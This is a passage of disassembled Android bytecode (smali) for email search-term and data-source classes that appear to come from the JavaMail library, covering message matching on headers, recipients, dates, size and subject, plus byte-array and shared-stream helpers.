00000000 const/4 v1, 0x0
:2
00000002 invoke-virtual Message->getFrom()[Address, p1
:8
00000008 move-result-object v2
0000000A if-nez v2, :10
:E
0000000E return v1
:10
00000010 move v0, v1
:12
00000012 array-length v3, v2
00000014 if-ge v0, v3, :E
:18
00000018 aget-object v3, v2, v0
0000001C invoke-super AddressTerm->match(Address)Z, p0, v3
00000022 move-result v3
00000024 if-eqz v3, :2C
:28
00000028 const/4 v1, 0x1
0000002A goto :E
:2C
0000002C add-int/lit8 v0, v0, 0x1
00000030 goto :12
:32
00000032 move-exception v0
00000034 goto :E
.catch Exception {:2 .. :8} :32
.end method
#--------------------------------------------------------------------------------
.class public final HeaderTerm
.super StringTerm
.source ""
.field private static final serialVersionUID:J = 0x73C690DFBA9D2142L
.field protected headerName:String
.method public constructor <init>(String, String)V
.registers 3
00000000 invoke-direct StringTerm-><init>(String)V, p0, p2
00000006 iput-object p1, p0, HeaderTerm->headerName:String
0000000A return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v0, 0x0
00000002 instance-of v1, p1, HeaderTerm
00000006 if-nez v1, :C
:A
0000000A return v0
:C
0000000C check-cast p1, HeaderTerm
00000010 iget-object v1, p1, HeaderTerm->headerName:String
00000014 iget-object v2, p0, HeaderTerm->headerName:String
00000018 invoke-virtual String->equalsIgnoreCase(String)Z, v1, v2
0000001E move-result v1
00000020 if-eqz v1, :A
:24
00000024 invoke-super StringTerm->equals(Object)Z, p0, p1
0000002A move-result v1
0000002C if-eqz v1, :A
:30
00000030 const/4 v0, 0x1
00000032 goto :A
.end method
.method public getHeaderName()String
.registers 2
00000000 iget-object v0, p0, HeaderTerm->headerName:String
00000004 return-object v0
.end method
.method public hashCode()I
.registers 3
00000000 iget-object v0, p0, HeaderTerm->headerName:String
00000004 sget-object v1, Locale->ENGLISH:Locale
00000008 invoke-virtual String->toLowerCase(Locale)String, v0, v1
0000000E move-result-object v0
00000010 invoke-virtual String->hashCode()I, v0
00000016 move-result v0
00000018 invoke-super StringTerm->hashCode()I, p0
0000001E move-result v1
00000020 add-int/2addr v0, v1
00000022 return v0
.end method
.method public match(Message)Z
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 iget-object v0, p0, HeaderTerm->headerName:String
00000006 invoke-virtual Message->getHeader(String)[String, p1, v0
:C
0000000C move-result-object v2
0000000E if-nez v2, :14
:12
00000012 return v1
:14
00000014 move v0, v1
:16
00000016 array-length v3, v2
00000018 if-ge v0, v3, :12
:1C
0000001C aget-object v3, v2, v0
00000020 invoke-super StringTerm->match(String)Z, p0, v3
00000026 move-result v3
00000028 if-eqz v3, :30
:2C
0000002C const/4 v1, 0x1
0000002E goto :12
:30
00000030 add-int/lit8 v0, v0, 0x1
00000034 goto :16
:36
00000036 move-exception v0
00000038 goto :12
.catch Exception {:2 .. :C} :36
.end method
#--------------------------------------------------------------------------------
.class public abstract IntegerComparisonTerm
.super ComparisonTerm
.source ""
.field private static final serialVersionUID:J = 0x9F5C6CDA0679F7ECL
.field protected number:I
.method protected constructor <init>(I, I)V
.registers 3
00000000 invoke-direct ComparisonTerm-><init>()V, p0
00000006 iput p1, p0, IntegerComparisonTerm->comparison:I
0000000A iput p2, p0, IntegerComparisonTerm->number:I
0000000E return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, IntegerComparisonTerm
00000006 if-nez v0, :E
:A
0000000A move v0, v1
:C
0000000C return v0
:E
0000000E move-object v0, p1
00000010 check-cast v0, IntegerComparisonTerm
00000014 iget v0, v0, IntegerComparisonTerm->number:I
00000018 iget v2, p0, IntegerComparisonTerm->number:I
0000001C if-ne v0, v2, :30
:20
00000020 invoke-super ComparisonTerm->equals(Object)Z, p0, p1
00000026 move-result v0
00000028 if-eqz v0, :30
:2C
0000002C const/4 v0, 0x1
0000002E goto :C
:30
00000030 move v0, v1
00000032 goto :C
.end method
.method public getComparison()I
.registers 2
00000000 iget v0, p0, IntegerComparisonTerm->comparison:I
00000004 return v0
.end method
.method public getNumber()I
.registers 2
00000000 iget v0, p0, IntegerComparisonTerm->number:I
00000004 return v0
.end method
.method public hashCode()I
.registers 3
00000000 iget v0, p0, IntegerComparisonTerm->number:I
00000004 invoke-super ComparisonTerm->hashCode()I, p0
0000000A move-result v1
0000000C add-int/2addr v0, v1
0000000E return v0
.end method
.method protected match(I)Z
.registers 5
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
00000004 iget v2, p0, IntegerComparisonTerm->comparison:I
00000008 packed-switch v2, :5C
:E
0000000E move v0, v1
:10
00000010 return v0
:12
00000012 iget v2, p0, IntegerComparisonTerm->number:I
00000016 if-le p1, v2, :10
:1A
0000001A move v0, v1
0000001C goto :10
:1E
0000001E iget v2, p0, IntegerComparisonTerm->number:I
00000022 if-lt p1, v2, :10
:26
00000026 move v0, v1
00000028 goto :10
:2A
0000002A iget v2, p0, IntegerComparisonTerm->number:I
0000002E if-eq p1, v2, :10
:32
00000032 move v0, v1
00000034 goto :10
:36
00000036 iget v2, p0, IntegerComparisonTerm->number:I
0000003A if-ne p1, v2, :10
:3E
0000003E move v0, v1
00000040 goto :10
:42
00000042 iget v2, p0, IntegerComparisonTerm->number:I
00000046 if-gt p1, v2, :10
:4A
0000004A move v0, v1
0000004C goto :10
:4E
0000004E iget v2, p0, IntegerComparisonTerm->number:I
00000052 if-ge p1, v2, :10
:56
00000056 move v0, v1
00000058 goto :10
0000005C .packed-switch 0x1
:12
:1E
:2A
:36
:42
:4E
.end packed-switch
.end method
#--------------------------------------------------------------------------------
.class public final MessageIDTerm
.super StringTerm
.source ""
.field private static final serialVersionUID:J = 0xE2905A280B6BE385L
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct StringTerm-><init>(String)V, p0, p1
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, MessageIDTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super StringTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 const-string v0, "Message-ID"
00000006 invoke-virtual Message->getHeader(String)[String, p1, v0
:C
0000000C move-result-object v2
0000000E if-nez v2, :14
:12
00000012 return v1
:14
00000014 move v0, v1
:16
00000016 array-length v3, v2
00000018 if-ge v0, v3, :12
:1C
0000001C aget-object v3, v2, v0
00000020 invoke-super StringTerm->match(String)Z, p0, v3
00000026 move-result v3
00000028 if-eqz v3, :30
:2C
0000002C const/4 v1, 0x1
0000002E goto :12
:30
00000030 add-int/lit8 v0, v0, 0x1
00000034 goto :16
:36
00000036 move-exception v0
00000038 goto :12
.catch Exception {:2 .. :C} :36
.end method
#--------------------------------------------------------------------------------
.class public final MessageNumberTerm
.super IntegerComparisonTerm
.source ""
.field private static final serialVersionUID:J = 0xB557BACF76AE80BCL
.method public constructor <init>(I)V
.registers 3
00000000 const/4 v0, 0x3
00000002 invoke-direct IntegerComparisonTerm-><init>(I, I)V, p0, v0, p1
00000008 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, MessageNumberTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super IntegerComparisonTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 3
00000000 invoke-virtual Message->getMessageNumber()I, p1
00000006 move-result v0
00000008 invoke-super IntegerComparisonTerm->match(I)Z, p0, v0
0000000E move-result v0
:10
00000010 return v0
:12
00000012 move-exception v0
00000014 const/4 v0, 0x0
00000016 goto :10
.catch Exception {:0 .. :6} :12
.end method
#--------------------------------------------------------------------------------
.class public final NotTerm
.super SearchTerm
.source ""
.field private static final serialVersionUID:J = 0x63420CC8AADC1008L
.field protected term:SearchTerm
.method public constructor <init>(SearchTerm)V
.registers 2
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 iput-object p1, p0, NotTerm->term:SearchTerm
0000000A return-void
.end method
.method public equals(Object)Z
.registers 4
00000000 instance-of v0, p1, NotTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C check-cast p1, NotTerm
00000010 iget-object v0, p1, NotTerm->term:SearchTerm
00000014 iget-object v1, p0, NotTerm->term:SearchTerm
00000018 invoke-virtual Object->equals(Object)Z, v0, v1
0000001E move-result v0
00000020 goto :A
.end method
.method public getTerm()SearchTerm
.registers 2
00000000 iget-object v0, p0, NotTerm->term:SearchTerm
00000004 return-object v0
.end method
.method public hashCode()I
.registers 2
00000000 iget-object v0, p0, NotTerm->term:SearchTerm
00000004 invoke-virtual Object->hashCode()I, v0
0000000A move-result v0
0000000C shl-int/lit8 v0, v0, 0x1
00000010 return v0
.end method
.method public match(Message)Z
.registers 3
00000000 iget-object v0, p0, NotTerm->term:SearchTerm
00000004 invoke-virtual SearchTerm->match(Message)Z, v0, p1
0000000A move-result v0
0000000C if-eqz v0, :14
:10
00000010 const/4 v0, 0x0
:12
00000012 return v0
:14
00000014 const/4 v0, 0x1
00000016 goto :12
.end method
#--------------------------------------------------------------------------------
.class public final OrTerm
.super SearchTerm
.source ""
.field private static final serialVersionUID:J = 0x4AAB7F3A24A275D8L
.field protected terms:[SearchTerm
.method public constructor <init>(SearchTerm, SearchTerm)V
.registers 5
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 const/4 v0, 0x2
00000008 new-array v0, v0, [SearchTerm
0000000C iput-object v0, p0, OrTerm->terms:[SearchTerm
00000010 iget-object v0, p0, OrTerm->terms:[SearchTerm
00000014 const/4 v1, 0x0
00000016 aput-object p1, v0, v1
0000001A iget-object v0, p0, OrTerm->terms:[SearchTerm
0000001E const/4 v1, 0x1
00000020 aput-object p2, v0, v1
00000024 return-void
.end method
.method public constructor <init>([SearchTerm)V
.registers 5
00000000 invoke-direct SearchTerm-><init>()V, p0
00000006 array-length v0, p1
00000008 new-array v0, v0, [SearchTerm
0000000C iput-object v0, p0, OrTerm->terms:[SearchTerm
00000010 const/4 v0, 0x0
:12
00000012 array-length v1, p1
00000014 if-lt v0, v1, :1A
:18
00000018 return-void
:1A
0000001A iget-object v1, p0, OrTerm->terms:[SearchTerm
0000001E aget-object v2, p1, v0
00000022 aput-object v2, v1, v0
00000026 add-int/lit8 v0, v0, 0x1
0000002A goto :12
.end method
.method public equals(Object)Z
.registers 6
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, OrTerm
00000006 if-nez v0, :C
:A
0000000A return v1
:C
0000000C check-cast p1, OrTerm
00000010 iget-object v0, p1, OrTerm->terms:[SearchTerm
00000014 array-length v0, v0
00000016 iget-object v2, p0, OrTerm->terms:[SearchTerm
0000001A array-length v2, v2
0000001C if-ne v0, v2, :A
:20
00000020 move v0, v1
:22
00000022 iget-object v2, p0, OrTerm->terms:[SearchTerm
00000026 array-length v2, v2
00000028 if-lt v0, v2, :30
:2C
0000002C const/4 v1, 0x1
0000002E goto :A
:30
00000030 iget-object v2, p0, OrTerm->terms:[SearchTerm
00000034 aget-object v2, v2, v0
00000038 iget-object v3, p1, OrTerm->terms:[SearchTerm
0000003C aget-object v3, v3, v0
00000040 invoke-virtual Object->equals(Object)Z, v2, v3
00000046 move-result v2
00000048 if-eqz v2, :A
:4C
0000004C add-int/lit8 v0, v0, 0x1
00000050 goto :22
.end method
.method public getTerms()[SearchTerm
.registers 2
00000000 iget-object v0, p0, OrTerm->terms:[SearchTerm
00000004 invoke-virtual [SearchTerm->clone()Object, v0
0000000A move-result-object v0
0000000C check-cast v0, [SearchTerm
00000010 return-object v0
.end method
.method public hashCode()I
.registers 4
00000000 const/4 v0, 0x0
00000002 move v1, v0
:4
00000004 iget-object v2, p0, OrTerm->terms:[SearchTerm
00000008 array-length v2, v2
0000000A if-lt v0, v2, :10
:E
0000000E return v1
:10
00000010 iget-object v2, p0, OrTerm->terms:[SearchTerm
00000014 aget-object v2, v2, v0
00000018 invoke-virtual Object->hashCode()I, v2
0000001E move-result v2
00000020 add-int/2addr v1, v2
00000022 add-int/lit8 v0, v0, 0x1
00000026 goto :4
.end method
.method public match(Message)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 move v0, v1
:4
00000004 iget-object v2, p0, OrTerm->terms:[SearchTerm
00000008 array-length v2, v2
0000000A if-lt v0, v2, :10
:E
0000000E return v1
:10
00000010 iget-object v2, p0, OrTerm->terms:[SearchTerm
00000014 aget-object v2, v2, v0
00000018 invoke-virtual SearchTerm->match(Message)Z, v2, p1
0000001E move-result v2
00000020 if-eqz v2, :28
:24
00000024 const/4 v1, 0x1
00000026 goto :E
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :4
.end method
#--------------------------------------------------------------------------------
.class public final ReceivedDateTerm
.super DateTerm
.source ""
.field private static final serialVersionUID:J = 0xD9BE404778824FBEL
.method public constructor <init>(I, Date)V
.registers 3
00000000 invoke-direct DateTerm-><init>(I, Date)V, p0, p1, p2
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, ReceivedDateTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super DateTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 4
00000000 const/4 v0, 0x0
:2
00000002 invoke-virtual Message->getReceivedDate()Date, p1
:8
00000008 move-result-object v1
0000000A if-nez v1, :10
:E
0000000E return v0
:10
00000010 invoke-super DateTerm->match(Date)Z, p0, v1
00000016 move-result v0
00000018 goto :E
:1A
0000001A move-exception v1
0000001C goto :E
.catch Exception {:2 .. :8} :1A
.end method
#--------------------------------------------------------------------------------
.class public final RecipientStringTerm
.super AddressStringTerm
.source ""
.field private static final serialVersionUID:J = 0x8CE759387E0D95DFL
.field private type:Message$RecipientType
.method public constructor <init>(Message$RecipientType, String)V
.registers 3
00000000 invoke-direct AddressStringTerm-><init>(String)V, p0, p2
00000006 iput-object p1, p0, RecipientStringTerm->type:Message$RecipientType
0000000A return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, RecipientStringTerm
00000006 if-nez v0, :E
:A
0000000A move v0, v1
:C
0000000C return v0
:E
0000000E move-object v0, p1
00000010 check-cast v0, RecipientStringTerm
00000014 iget-object v0, v0, RecipientStringTerm->type:Message$RecipientType
00000018 iget-object v2, p0, RecipientStringTerm->type:Message$RecipientType
0000001C invoke-virtual Object->equals(Object)Z, v0, v2
00000022 move-result v0
00000024 if-eqz v0, :38
:28
00000028 invoke-super AddressStringTerm->equals(Object)Z, p0, p1
0000002E move-result v0
00000030 if-eqz v0, :38
:34
00000034 const/4 v0, 0x1
00000036 goto :C
:38
00000038 move v0, v1
0000003A goto :C
.end method
.method public getRecipientType()Message$RecipientType
.registers 2
00000000 iget-object v0, p0, RecipientStringTerm->type:Message$RecipientType
00000004 return-object v0
.end method
.method public hashCode()I
.registers 3
00000000 iget-object v0, p0, RecipientStringTerm->type:Message$RecipientType
00000004 invoke-virtual Object->hashCode()I, v0
0000000A move-result v0
0000000C invoke-super AddressStringTerm->hashCode()I, p0
00000012 move-result v1
00000014 add-int/2addr v0, v1
00000016 return v0
.end method
.method public match(Message)Z
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 iget-object v0, p0, RecipientStringTerm->type:Message$RecipientType
00000006 invoke-virtual Message->getRecipients(Message$RecipientType)[Address, p1, v0
:C
0000000C move-result-object v2
0000000E if-nez v2, :14
:12
00000012 return v1
:14
00000014 move v0, v1
:16
00000016 array-length v3, v2
00000018 if-ge v0, v3, :12
:1C
0000001C aget-object v3, v2, v0
00000020 invoke-super AddressStringTerm->match(Address)Z, p0, v3
00000026 move-result v3
00000028 if-eqz v3, :30
:2C
0000002C const/4 v1, 0x1
0000002E goto :12
:30
00000030 add-int/lit8 v0, v0, 0x1
00000034 goto :16
:36
00000036 move-exception v0
00000038 goto :12
.catch Exception {:2 .. :C} :36
.end method
#--------------------------------------------------------------------------------
.class public final RecipientTerm
.super AddressTerm
.source ""
.field private static final serialVersionUID:J = 0x5AE1A88C29BEF694L
.field protected type:Message$RecipientType
.method public constructor <init>(Message$RecipientType, Address)V
.registers 3
00000000 invoke-direct AddressTerm-><init>(Address)V, p0, p2
00000006 iput-object p1, p0, RecipientTerm->type:Message$RecipientType
0000000A return-void
.end method
.method public equals(Object)Z
.registers 5
00000000 const/4 v1, 0x0
00000002 instance-of v0, p1, RecipientTerm
00000006 if-nez v0, :E
:A
0000000A move v0, v1
:C
0000000C return v0
:E
0000000E move-object v0, p1
00000010 check-cast v0, RecipientTerm
00000014 iget-object v0, v0, RecipientTerm->type:Message$RecipientType
00000018 iget-object v2, p0, RecipientTerm->type:Message$RecipientType
0000001C invoke-virtual Object->equals(Object)Z, v0, v2
00000022 move-result v0
00000024 if-eqz v0, :38
:28
00000028 invoke-super AddressTerm->equals(Object)Z, p0, p1
0000002E move-result v0
00000030 if-eqz v0, :38
:34
00000034 const/4 v0, 0x1
00000036 goto :C
:38
00000038 move v0, v1
0000003A goto :C
.end method
.method public getRecipientType()Message$RecipientType
.registers 2
00000000 iget-object v0, p0, RecipientTerm->type:Message$RecipientType
00000004 return-object v0
.end method
.method public hashCode()I
.registers 3
00000000 iget-object v0, p0, RecipientTerm->type:Message$RecipientType
00000004 invoke-virtual Object->hashCode()I, v0
0000000A move-result v0
0000000C invoke-super AddressTerm->hashCode()I, p0
00000012 move-result v1
00000014 add-int/2addr v0, v1
00000016 return v0
.end method
.method public match(Message)Z
.registers 6
00000000 const/4 v1, 0x0
:2
00000002 iget-object v0, p0, RecipientTerm->type:Message$RecipientType
00000006 invoke-virtual Message->getRecipients(Message$RecipientType)[Address, p1, v0
:C
0000000C move-result-object v2
0000000E if-nez v2, :14
:12
00000012 return v1
:14
00000014 move v0, v1
:16
00000016 array-length v3, v2
00000018 if-ge v0, v3, :12
:1C
0000001C aget-object v3, v2, v0
00000020 invoke-super AddressTerm->match(Address)Z, p0, v3
00000026 move-result v3
00000028 if-eqz v3, :30
:2C
0000002C const/4 v1, 0x1
0000002E goto :12
:30
00000030 add-int/lit8 v0, v0, 0x1
00000034 goto :16
:36
00000036 move-exception v0
00000038 goto :12
.catch Exception {:2 .. :C} :36
.end method
#--------------------------------------------------------------------------------
.class public SearchException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x9D91010E0FC225F2L
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public final SentDateTerm
.super DateTerm
.source ""
.field private static final serialVersionUID:J = 0x4E60DB46F5385C7FL
.method public constructor <init>(I, Date)V
.registers 3
00000000 invoke-direct DateTerm-><init>(I, Date)V, p0, p1, p2
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, SentDateTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super DateTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 4
00000000 const/4 v0, 0x0
:2
00000002 invoke-virtual Message->getSentDate()Date, p1
:8
00000008 move-result-object v1
0000000A if-nez v1, :10
:E
0000000E return v0
:10
00000010 invoke-super DateTerm->match(Date)Z, p0, v1
00000016 move-result v0
00000018 goto :E
:1A
0000001A move-exception v1
0000001C goto :E
.catch Exception {:2 .. :8} :1A
.end method
#--------------------------------------------------------------------------------
.class public final SizeTerm
.super IntegerComparisonTerm
.source ""
.field private static final serialVersionUID:J = 0xDC867BF3E6E591A3L
.method public constructor <init>(I, I)V
.registers 3
00000000 invoke-direct IntegerComparisonTerm-><init>(I, I)V, p0, p1, p2
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, SizeTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super IntegerComparisonTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 5
00000000 const/4 v0, 0x0
:2
00000002 invoke-virtual Message->getSize()I, p1
:8
00000008 move-result v1
0000000A const/4 v2, 0xFFFFFFFFFFFFFFFF
0000000C if-ne v1, v2, :12
:10
00000010 return v0
:12
00000012 invoke-super IntegerComparisonTerm->match(I)Z, p0, v1
00000018 move-result v0
0000001A goto :10
:1C
0000001C move-exception v1
0000001E goto :10
.catch Exception {:2 .. :8} :1C
.end method
#--------------------------------------------------------------------------------
.class public final SubjectTerm
.super StringTerm
.source ""
.field private static final serialVersionUID:J = 0x67D3DF04E1E99FB8L
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct StringTerm-><init>(String)V, p0, p1
00000006 return-void
.end method
.method public equals(Object)Z
.registers 3
00000000 instance-of v0, p1, SubjectTerm
00000004 if-nez v0, :C
:8
00000008 const/4 v0, 0x0
:A
0000000A return v0
:C
0000000C invoke-super StringTerm->equals(Object)Z, p0, p1
00000012 move-result v0
00000014 goto :A
.end method
.method public match(Message)Z
.registers 4
00000000 const/4 v0, 0x0
:2
00000002 invoke-virtual Message->getSubject()String, p1
:8
00000008 move-result-object v1
0000000A if-nez v1, :10
:E
0000000E return v0
:10
00000010 invoke-super StringTerm->match(String)Z, p0, v1
00000016 move-result v0
00000018 goto :E
:1A
0000001A move-exception v1
0000001C goto :E
.catch Exception {:2 .. :8} :1A
.end method
#--------------------------------------------------------------------------------
.class ByteArrayDataSource$DSByteArrayOutputStream
.super ByteArrayOutputStream
.source ""
.method constructor <init>()V
.registers 1
00000000 invoke-direct ByteArrayOutputStream-><init>()V, p0
00000006 return-void
.end method
.method public getBuf()[B
.registers 2
00000000 iget-object v0, p0, ByteArrayDataSource$DSByteArrayOutputStream->buf:[B
00000004 return-object v0
.end method
.method public getCount()I
.registers 2
00000000 iget v0, p0, ByteArrayDataSource$DSByteArrayOutputStream->count:I
00000004 return v0
.end method
#--------------------------------------------------------------------------------
.class public ByteArrayDataSource
.super Object
.source ""
.implements DataSource
.field private data:[B
.field private len:I
.field private name:String
.field private type:String
.method public constructor <init>(InputStream, String)V
.registers 7
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, ByteArrayDataSource->len:I
0000000C const-string v0, ""
00000010 iput-object v0, p0, ByteArrayDataSource->name:String
00000014 new-instance v0, ByteArrayDataSource$DSByteArrayOutputStream
00000018 invoke-direct ByteArrayDataSource$DSByteArrayOutputStream-><init>()V, v0
0000001E const/16 v1, 0x2000
00000022 new-array v1, v1, [B
:26
00000026 invoke-virtual InputStream->read([B)I, p1, v1
0000002C move-result v2
0000002E if-gtz v2, :7A
:32
00000032 invoke-virtual ByteArrayDataSource$DSByteArrayOutputStream->getBuf()[B, v0
00000038 move-result-object v1
0000003A iput-object v1, p0, ByteArrayDataSource->data:[B
0000003E invoke-virtual ByteArrayDataSource$DSByteArrayOutputStream->getCount()I, v0
00000044 move-result v1
00000046 iput v1, p0, ByteArrayDataSource->len:I
0000004A iget-object v1, p0, ByteArrayDataSource->data:[B
0000004E array-length v1, v1
00000050 iget v2, p0, ByteArrayDataSource->len:I
00000054 sub-int/2addr v1, v2
00000056 const/high16 v2, 0x40000
0000005A if-le v1, v2, :74
:5E
0000005E invoke-virtual ByteArrayDataSource$DSByteArrayOutputStream->toByteArray()[B, v0
00000064 move-result-object v0
00000066 iput-object v0, p0, ByteArrayDataSource->data:[B
0000006A iget-object v0, p0, ByteArrayDataSource->data:[B
0000006E array-length v0, v0
00000070 iput v0, p0, ByteArrayDataSource->len:I
:74
00000074 iput-object p2, p0, ByteArrayDataSource->type:String
00000078 return-void
:7A
0000007A const/4 v3, 0x0
0000007C invoke-virtual ByteArrayDataSource$DSByteArrayOutputStream->write([B, I, I)V, v0, v1, v3, v2
00000082 goto :26
.end method
.method public constructor <init>(String, String)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, ByteArrayDataSource->len:I
0000000C const-string v0, ""
00000010 iput-object v0, p0, ByteArrayDataSource->name:String
00000014 const/4 v0, 0x0
:16
00000016 new-instance v1, ContentType
0000001A invoke-direct ContentType-><init>(String)V, v1, p2
00000020 const-string v2, "charset"
00000024 invoke-virtual ContentType->getParameter(String)String, v1, v2
:2A
0000002A move-result-object v0
:2C
0000002C if-nez v0, :38
:30
00000030 invoke-static MimeUtility->getDefaultJavaCharset()String
00000036 move-result-object v0
:38
00000038 invoke-virtual String->getBytes(String)[B, p1, v0
0000003E move-result-object v0
00000040 iput-object v0, p0, ByteArrayDataSource->data:[B
00000044 iput-object p2, p0, ByteArrayDataSource->type:String
00000048 return-void
:4A
0000004A move-exception v1
0000004C goto :2C
.catch ParseException {:16 .. :2A} :4A
.end method
.method public constructor <init>([B, String)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000008 iput v0, p0, ByteArrayDataSource->len:I
0000000C const-string v0, ""
00000010 iput-object v0, p0, ByteArrayDataSource->name:String
00000014 iput-object p1, p0, ByteArrayDataSource->data:[B
00000018 iput-object p2, p0, ByteArrayDataSource->type:String
0000001C return-void
.end method
.method public getContentType()String
.registers 2
00000000 iget-object v0, p0, ByteArrayDataSource->type:String
00000004 return-object v0
.end method
.method public getInputStream()InputStream
.registers 5
00000000 iget-object v0, p0, ByteArrayDataSource->data:[B
00000004 if-nez v0, :18
:8
00000008 new-instance v0, IOException
0000000C const-string v1, "no data"
00000010 invoke-direct IOException-><init>(String)V, v0, v1
00000016 throw v0
:18
00000018 iget v0, p0, ByteArrayDataSource->len:I
0000001C if-gez v0, :2A
:20
00000020 iget-object v0, p0, ByteArrayDataSource->data:[B
00000024 array-length v0, v0
00000026 iput v0, p0, ByteArrayDataSource->len:I
:2A
0000002A new-instance v0, SharedByteArrayInputStream
0000002E iget-object v1, p0, ByteArrayDataSource->data:[B
00000032 const/4 v2, 0x0
00000034 iget v3, p0, ByteArrayDataSource->len:I
00000038 invoke-direct SharedByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
0000003E return-object v0
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, ByteArrayDataSource->name:String
00000004 return-object v0
.end method
.method public getOutputStream()OutputStream
.registers 3
00000000 new-instance v0, IOException
00000004 const-string v1, "cannot do this"
00000008 invoke-direct IOException-><init>(String)V, v0, v1
0000000E throw v0
.end method
.method public setName(String)V
.registers 2
00000000 iput-object p1, p0, ByteArrayDataSource->name:String
00000004 return-void
.end method
#--------------------------------------------------------------------------------
.class public SharedByteArrayInputStream
.super ByteArrayInputStream
.source ""
.implements SharedInputStream
.field protected start:I
.method public constructor <init>([B)V
.registers 3
00000000 invoke-direct ByteArrayInputStream-><init>([B)V, p0, p1
00000006 const/4 v0, 0x0
00000008 iput v0, p0, SharedByteArrayInputStream->start:I
0000000C return-void
.end method
.method public constructor <init>([B, I, I)V
.registers 5
00000000 invoke-direct ByteArrayInputStream-><init>([B, I, I)V, p0, p1, p2, p3
00000006 const/4 v0, 0x0
00000008 iput v0, p0, SharedByteArrayInputStream->start:I
0000000C iput p2, p0, SharedByteArrayInputStream->start:I
00000010 return-void
.end method
.method public getPosition()J
.registers 3
00000000 iget v0, p0, SharedByteArrayInputStream->pos:I
00000004 iget v1, p0, SharedByteArrayInputStream->start:I
00000008 sub-int/2addr v0, v1
0000000A int-to-long v0, v0
0000000C return-wide v0
.end method
.method public newStream(J, J)InputStream
.registers 10
00000000 const-wide/16 v0, 0x0
00000004 cmp-long v0, p1, v0
00000008 if-gez v0, :1C
:C
0000000C new-instance v0, IllegalArgumentException
00000010 const-string v1, "start < 0"
00000014 invoke-direct IllegalArgumentException-><init>(String)V, v0, v1
0000001A throw v0
:1C
0000001C const-wide/16 v0, 0xFFFFFFFFFFFFFFFF
00000020 cmp-long v0, p3, v0
00000024 if-nez v0, :34
:28
00000028 iget v0, p0, SharedByteArrayInputStream->count:I
0000002C iget v1, p0, SharedByteArrayInputStream->start:I
00000030 sub-int/2addr v0, v1
00000032 int-to-long p3, v0
:34
00000034 new-instance v0, SharedByteArrayInputStream
00000038 iget-object v1, p0, SharedByteArrayInputStream->buf:[B
0000003C iget v2, p0, SharedByteArrayInputStream->start:I
00000040 long-to-int v3, p1
00000042 add-int/2addr v2, v3
00000044 sub-long v3, p3, p1
00000048 long-to-int v3, v3
0000004A invoke-direct SharedByteArrayInputStream-><init>([B, I, I)V, v0, v1, v2, v3
00000050 return-object v0
.end method
#--------------------------------------------------------------------------------
.class SharedFileInputStream$SharedFile
.super Object
.source ""
.field private cnt:I
.field private in:RandomAccessFile
.method constructor <init>(File)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, RandomAccessFile
0000000A const-string v1, "r"
0000000E invoke-direct RandomAccessFile-><init>(File, String)V, v0, p1, v1
00000014 iput-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000018 return-void
.end method
.method constructor <init>(String)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, RandomAccessFile
0000000A const-string v1, "r"
0000000E invoke-direct RandomAccessFile-><init>(String, String)V, v0, p1, v1
00000014 iput-object v0, p0, SharedFileInputStream$SharedFile->in:RandomAccessFile
00000018 return-void
.end method
